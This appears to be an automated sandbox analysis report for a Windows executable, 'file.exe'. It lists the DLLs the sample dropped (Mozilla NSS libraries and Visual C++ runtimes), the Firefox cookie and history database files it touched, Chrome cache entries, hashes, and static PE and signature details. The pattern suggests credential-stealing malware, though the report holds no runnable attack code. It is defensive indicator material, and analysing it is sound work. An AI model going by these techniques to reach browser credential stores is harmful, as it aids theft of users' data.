Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.372363990309451
Encrypted:	false
SSDEEP:	48:SfNaoQekrTEQeNfNaoQA9I9IHQA9rfNaoQ1QCfNaoQ80UrU0U8QX:6NnQdTEQyNnQMQkNnQ1QqNnQ80UrU0UP
MD5:	2C616E248CE5C0821FB7FA3A02B3A0E0
SHA1:	9BDE2DDBEF35C8BDEF83EDC9FB67079FA69958CB
SHA-256:	57BB75C5E78FE72A0CCE3BF63C4DEEEB75C66B408B14D01070F4D6A85817746C
SHA-512:	6C35BD9AD85D4B8018F6E930A65B4320291E7E1D329975EC041E167F86649BEF79699C64AA9A357AFC625E7AF97902221C1A85D468268285E6BD916FF249FC7D
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/10E7C57EEFEE880CE756A6887A7D7BCA",.. "id": "10E7C57EEFEE880CE756A6887A7D7BCA",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/10E7C57EEFEE880CE756A6887A7D7BCA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/012B7907ACD8961F453E3769FF6161DE",.. "id": "012B7907ACD8961F453E3769FF6161DE",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/012B7907ACD8961F453E3769FF6161DE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	modified
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (783)
Category:	downloaded
Size (bytes):	788
Entropy (8bit):	5.126475367795882
Encrypted:	false
SSDEEP:	24:n/mHmSBHslgT9lCuABuoB7HHHHHHHYqmffffffo:/mHmSKlgZ01BuSEqmffffffo
MD5:	E962E5D562AB61E6F3BE19C09D1BB09E
SHA1:	9AA80AB9B3C208A0012576B2035BA9E28C561381
SHA-256:	8C3D06775AFB3F51A2006ECE99C7D5C23128FD3EF8CD467E2DABE3EC5E75C159
SHA-512:	4A80BF892A2F0ADAE22DE166000E9D798FEB08CE324D7A9072AEF37CC2561E35D3F6920A88C331042710A946A84D8F1EDA96483E9C94E9714928BA846B623EFD
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["new yellowstone episodes season 5","2025 volkswagen tiguan","nebraska volleyball missing fan","niantic ai pokemon go","weather forecast snow storm","nyt connections hints november 21","social security benefits","nfl mock draft"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132965
Entropy (8bit):	5.434893976202129
Encrypted:	false
SSDEEP:	3072:fSkXyPqO7UX1Hme9kZbs4Voc5pSnXqwQ2i6o:fVyWFHrp4Voc5pSnawQ8o
MD5:	90EC3A14B7F236A99A0B21885B89DA17
SHA1:	D582FDA7F740309D5FB7FFF12790C50ADD65ECB9
SHA-256:	AC49CA03960E73DC7B2A39E17EF598AB1FC4C7A280B02B1098CBC60E9FBB91CD
SHA-512:	F213E99B94BF15F6ED82F4CBEBCEBF1AA355531F2B16E7E8681C76D936EF142E200844C9A773A37C6A1EBF3C8F2CEF433B348ACE4BB784DC1330B06382A3FFE8
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.627847926470028
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	515'712 bytes
MD5:	926dd9e88e2ac846eaf3c23ef8208cdf
SHA1:	95e642c98048b718b948425e39a746d66d0dd4db
SHA256:	ad277a48c7c67f5510e0d2b28284f631f9e51dd7da53ed9e4da8dec0078d9aa0
SHA512:	ff5c31b9ffe58b88983ba2c2f8f2195c454fe69f05a9d5a40aa90227461fb3a1994c778b026a723715ab5d3664702f47df84336afd5b495cd258a1514f75eb30
SSDEEP:	12288:sA4gyTSwAN2kL0PPJHBlOyLwFrpOu6VSlC8OIlr7v:sxgFN2kL03HlpLwFrpOu6qC83r7v
TLSH:	DFB4C0165141E8A3F88718BF39A2E31724E733B2B771CDD3C175B5688B801C195EADAE
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...]X?g.................V........................@.......................................@.................................T...(..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4292a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F585D [Thu Nov 21 15:57:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b0321a4c716e9fcf3b9eb0a6c687729a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	30/08/2023 20:00:00 30/08/2026 19:59:59
Subject Chain	CN=Privacy Technologies OU, O=Privacy Technologies OU, S=Harjumaa, C=EE
Version:	3
Thumbprint MD5:	AD1BCBF19AE2F91BB114D33B85359E56
